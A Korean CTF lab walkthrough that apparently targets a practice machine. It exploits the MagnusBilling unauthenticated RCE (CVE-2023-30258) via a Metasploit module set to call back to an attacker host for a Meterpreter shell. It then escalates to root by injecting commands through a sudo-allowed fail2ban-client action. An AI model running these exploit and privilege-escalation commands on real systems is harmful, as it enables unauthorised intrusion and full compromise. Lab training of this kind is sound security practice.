
CVE-2023-30258을 악용한 Billing room 공격과 fail2ban 오설정을 통한 권한 상승에 대한 상세 워크스루
작성자: Aditya Bhatt | 오픈소스 기여자
이 워크스루에서는 Billing 방을 집중적으로 공략하며, 취약한 MagnusBilling 인스턴스, 맛있는 무인증 RCE (CVE-2023-30258), 그리고 "root me"를 외치는 fail2ban sudo 설정 오류를 보여줍니다.
이 방은 자동화된 익스플로잇과 창의적인 권한 상승을 아름답게 조화시켜 VoIP 청구 소프트웨어에 숨은 실제 세계의 결함을 직접 체험할 수 있게 해줍니다. 초기 정찰부터 루트 셸까지 전체 PoC, 해설, 그리고 🗿 분위기로 진행하겠습니다.
머신을 배포한 후 가장 먼저 마주치는 것은 방화벽 설정 오류처럼 느껴집니다:
http://<machine_IP>/mbilling/
이것은 MagnusBilling 로그인 페이지입니다. 그 자체로 경보가 울립니다. — 흥미로운 CVE 플레이가 기다리고 있다는 것을 알게 됩니다.
궁극의 정찰 콤보로 시작합니다:
nmap -A -sV -p- 10.10.115.173
🧠 발견 사항:
/mbilling/ 아래에 다른 HTTP 서비스가 존재함다음으로 Gobuster로 전면 브루트 포스를 실행합니다:
gobuster dir -u http://10.10.115.173/mbilling -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.html,.txt
gobuster dir -u http://10.10.115.173/ -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.html,.txt
🧠 발견 사항:
그런 다음 사이트의 robots.txt에서 흥미로운 내용이 있는지 확인합니다:
User-agent: *
Disallow: /mbilling/
흠… 숨기려고 하면 더 탐나게 만들 뿐이죠 😈
간단한 netcat 테스트로 응답을 확인합니다:
Response: Error
Message: Missing action in request
이를 통해 백엔드가 MagnusBilling이며, 포트가 Asterisk Call Manager와 연결되어 있음을 추가로 확인합니다. 이제 어둠의 기술을 소환할 때입니다 🧙
익스플로잇: MagnusBilling의 무인증 원격 코드 실행 모듈:
exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
Metasploit을 실행합니다:
msfconsole
use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
그런 다음 요구 사항을 확인합니다:
show options
그런 다음 다음을 설정합니다:
set RHOSTS 10.10.115.173
set LHOST 10.17.88.138
run
몇 초 후… 펑. Meterpreter 세션을 얻었습니다!
shell
whoami ➤ asterisk
uname -a ➤ Linux Debian 6.1 x86_64
TTY 셸을 생성하려고 시도했습니다:
python3 -c 'import pty; pty.spawn("/bin/bash")'
다음 명령어로 위로 이동하기 시작합니다:
cd ..
cd ..
다음을 찾을 때까지:
cd /home/magnus
cat user.txt
좋습니다! 하지만 아직 끝나지 않았습니다. root가 필요하며, Magnus가 우리에게 비밀을 속삭이고 있습니다.
sudo로 실행할 수 있는 항목을 확인해 봅시다:
sudo -l
결과:
(ALL) NOPASSWD: /usr/bin/fail2ban-client
이것은 정말 🔥합니다. fail2ban-client를 남용하여 차단(ban) 작업을 통해 root로 명령어를 실행할 수 있습니다.
fail2ban을 다시 시작합니다:
sudo /usr/bin/fail2ban-client restart
그런 다음 root 플래그를 훔칠 명령어를 주입합니다:
sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "/bin/bash -c 'cat /root/root.txt > /tmp/root.txt && chmod 777 /tmp/root.txt'"
차단을 트리거하여 명령어를 실행합니다:
sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1
그런 다음:
cat /tmp/root.txt
루트를 얻었습니다. 마치. 보스처럼. 🗿🔥
robots.txt를 확인하며, 이상한 포트를 파헤쳐라.fail2ban-client와 같은) 잘못 구성된 sudo 권한도 똑같이 위험하다.이 박스는 자동화된 익스플로잇과 수동적인 포스트 익스플로잇 창의성의 아름다운 균형이었습니다. MagnusBilling RCE부터 fail2ban 루팅까지, 펜테스터의 플레이리스트에 완벽한 음을 맞춥니다 🎧🎯
초보자가 실력을 키우려 하든, 시즌된 전사가 플래그를 모으려 하든 – 이것은 반드시 공략해야 할 대상입니다.
다음 시간까지, 위험하게 지내세요. 호기심을 유지하세요. 위대하게 지내세요. 🗿
| 🔎 단계 | 💥 사용된 행동/도구 |
|---|
| 초기 접근 | Nmap + Gobuster를 사용하여 /mbilling 포털과 포트 5038 발견 |
| 정찰 발견 | MagnusBilling CMS + Asterisk Call Manager |
| 익스플로잇 | Metasploit을 통한 CVE-2023-30258 → Meterpreter 셸 |
| 정보 수집 | /home/magnus/user.txt 위치 확인 |
| 권한 상승 | fail2ban-client sudo NOPASSWD 남용 → root 권한의 RCE |
| 루트 플래그 | fail2ban 페이로드 주입을 통해 /root/root.txt 획득 |